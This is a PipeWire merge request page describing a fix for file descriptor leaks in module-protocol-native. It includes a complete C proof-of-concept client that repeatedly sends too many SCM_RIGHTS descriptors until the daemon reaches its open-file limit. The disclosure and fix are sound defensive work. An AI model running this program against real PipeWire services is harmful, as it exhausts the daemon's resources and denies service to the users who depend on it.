Skip to content

pipewire: module-protocol-native: avoid file descriptor leaks

See commit message:

At the moment, file descriptors may be leaked
due to a malicious/buggy client:

1. If the control messages have been truncated, some file descriptors
   may still have been successfully transferred. Currently, seeing
   the MSG_CTRUNC bit causes `refill_buffer()` to immediately return
   -EPROTO without doing anything with the control messages, which
   may contain file descriptors.

2. When there is no truncation, it is still possible that the current
   batch of file descriptors causes the total file descriptor count
   to go over the maximum number of fds for the given buffer (currently 1024).
   In this case, too, `refill_buffer()` immediately returns -EPROTO
   without closing the file descriptors that can not be saved.

Fix both of these cases by closing all file descriptors in all
remaining cmsgs when one of the mentioned conditions occur.

Sample application demonstrating the first case (sending more than MAX_FDS_MSG files):

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>

#include <sys/socket.h>
#include <unistd.h>

#include <pipewire/pipewire.h>

#define MAX_FDS_MSG 28 // from module-protocol-native
#define FD_COUNT (MAX_FDS_MSG + 1)

int main(void)
{
	pw_init(NULL, NULL);

	struct pw_main_loop *ml = pw_main_loop_new(NULL);
	assert(ml);

	struct pw_loop *l = pw_main_loop_get_loop(ml);
	assert(l);

	struct pw_context *context = pw_context_new(l, NULL, 0);
	assert(context);

	int p[2];
	assert(pipe(p) == 0);

	for (;;) {
		struct pw_core *core = pw_context_connect(context, NULL, 0);
		assert(core);

		int fd = pw_core_steal_fd(core);
		printf("%d\n", fd);

		int fds[FD_COUNT];

		for (int i = 0; i < FD_COUNT; i++)
			fds[i] = dup(p[0]);

		union {
			char buf[CMSG_SPACE(sizeof(fds))];
			struct cmsghdr align;
		} u;
		struct msghdr msg = {
			.msg_iov = &(struct iovec) {
				.iov_base = (uint32_t[]){
					0, // id = 0
					1024, // opcode = 0, length = 1024
					UINT32_C(0xDEADBEEF), // seq
					0, // number of file descriptors = 0
				},
				.iov_len = 16,
			},
			.msg_iovlen = 1,
			.msg_control = u.buf,
			.msg_controllen = sizeof(u.buf),
		};

		struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
		cmsg->cmsg_level = SOL_SOCKET;
		cmsg->cmsg_type = SCM_RIGHTS;
		cmsg->cmsg_len = CMSG_LEN(sizeof(fds));
		memcpy(CMSG_DATA(cmsg), fds, sizeof(fds));

		sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);

		for (int i = 0; i < FD_COUNT; i++)
			close(fds[i]);

		pw_core_disconnect(core);
		close(fd);

		sleep(1);
	}

	close(p[0]);
	close(p[1]);
}

One can easily observe with strace that the pipewire process does not close any of the received files, and eventually RLIMIT_NOFILE is reached.

Merge request reports